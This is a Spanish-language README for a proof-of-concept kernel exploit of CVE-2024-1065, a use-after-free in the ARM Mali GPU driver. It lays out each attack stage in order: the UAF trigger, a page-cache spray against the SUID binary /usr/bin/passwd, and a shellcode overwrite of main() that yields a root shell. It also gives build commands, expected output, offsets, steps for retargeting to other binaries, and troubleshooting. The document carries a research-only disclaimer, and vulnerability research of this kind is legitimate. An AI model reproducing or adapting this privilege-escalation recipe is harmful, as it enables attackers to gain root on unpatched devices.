
Exploit de prueba de concepto para CVE-2024-1065, que demuestra la explotación de la caché de páginas mediante un use-after-free en el controlador del kernel de GPU ARM Mali para lograr la ejecución arbitraria de código como root sin modificación del disco.
Exploit de prueba de concepto para CVE-2024-1065, un use-after-free de página física en el driver del kernel de la GPU ARM Mali. El exploit demuestra la explotación de page cache: mediante una condición de carrera, una página MIGRATE_MOVABLE liberada se asigna a la imagen de código en memoria de un binario SUID, para después sobrescribirla y lograr la ejecución arbitraria de código como root sin modificar ningún archivo en disco.
Solo con fines de investigación. Este PoC apunta a una vulnerabilidad parcheada en un sistema de pruebas x86 controlado. La ruta de código vulnerable no puede activarse desde el espacio de usuario en dispositivos Pixel de producción.
Desencadenar el UAF — Una página anónima se importa al driver de GPU Mali mediante KBASE_IOCTL_MEM_IMPORT y se mapea dos veces en el espacio de usuario. Liberar ambos mapeos devuelve la página física a la lista libre de buddy MIGRATE_MOVABLE mientras cpu_mapping2 todavía mantiene un alias de ella.
Spray de page cache — El exploit abre /usr/bin/passwd 100 veces y expulsa repetidamente la página en PAGE_OFFSET con posix_fadvise(POSIX_FADV_DONTNEED); después provoca un fallo de caché con pread. Cada fallo obliga al kernel a asignar una página MIGRATE_MOVABLE nueva, recorriendo la lista libre hasta que se selecciona la página UAF.
Confirmar la superposición — Una lectura de un byte de prueba a través de cpu_mapping2 en MAIN_OFFSET confirma que la página UAF ahora respalda la entrada de page cache del binario. Los valores 0x00 y 0x61 indican un fallo; cualquier otro valor corresponde a código binario real.
Inyectar shellcode — Un memcpy a través de cpu_mapping2 sobrescribe main() con un shellcode que llama a setuid(0), setgid(0) y execve("/bin/sh").
Ejecutar — Se llama a execve("/usr/bin/passwd"). El cargador ELF mapea como ejecutables las páginas de page cache del binario. La página corrupta ya está presente — no se produce ninguna lectura de disco —, por lo que el shellcode se ejecuta como root.
gcc -O2 -o exploit exploit.c
./exploit
Salida esperada:
[*] Opened /usr/bin/passwd x100
[*] MEM_IMPORT: flags=0x... gpu_va=0x... va_pages=0x1
[*] gpu_mapping (VA 1): 0x...
[*] cpu_mapping2 (VA 2): 0x...
[*] UAF triggered — stale mapping alive at 0x...
[*] Spraying page cache (100 attempts)...
[+] Overlap confirmed on attempt N (byte=0xf3) — cpu_mapping2 aliases the page cache!
[*] Shellcode written. Triggering execve...
# id
uid=0(root) gid=0(root) groups=0(root)
Todos los valores específicos del objetivo están definidos al principio de exploit.c:
#define TARGET_BINARY "/usr/bin/passwd"
#define PAGE_OFFSET 0x4000 /* file offset of the page containing main() */
#define MAIN_OFFSET 0xbc0 /* intra-page offset of main() */
Para reorientar el exploit a otro binario, localiza el desplazamiento de la función desensamblando _start en la dirección del punto de entrada (readelf -h) y luego calcula:
PAGE_OFFSET = sym_va & ~0xfff
MAIN_OFFSET = sym_va & 0xfff
Verifica antes de ejecutar:
dd if=<TARGET_BINARY> bs=1 skip=$((PAGE_OFFSET + MAIN_OFFSET)) count=8 2>/dev/null | xxd
| Requisito | Valor |
|---|
| Arquitectura | x86-64 |
| Kernel | 5.15 (probado en 5.15.0+) |
| Configuración del kernel | CONFIG_MALI_NO_MALI=y, CONFIG_MALI_CSF_SUPPORT=y, r48 |
| Dispositivo | /dev/mali0 accesible desde el espacio de usuario |
| Binario objetivo | /usr/bin/passwd (SUID root) |
| Síntoma | Causa | Solución |
|---|
| El spray falla tras 100 intentos | La página UAF se consumió antes de la ventana de la condición de carrera | Expulsa previamente la página objetivo antes de desencadenar el UAF; aumenta NUM_FDS |
kernel BUG at mm/page_poison.c | La comprobación de sonda pasó con el byte de page-poison 0xaa | Añade probe != 0xaa a la comprobación de confirmación |
SYSCHK falla en MEM_IMPORT | El driver Mali no está cargado o la versión es incorrecta | Comprueba CONFIG_MALI_NO_MALI y el handshake de versión del driver |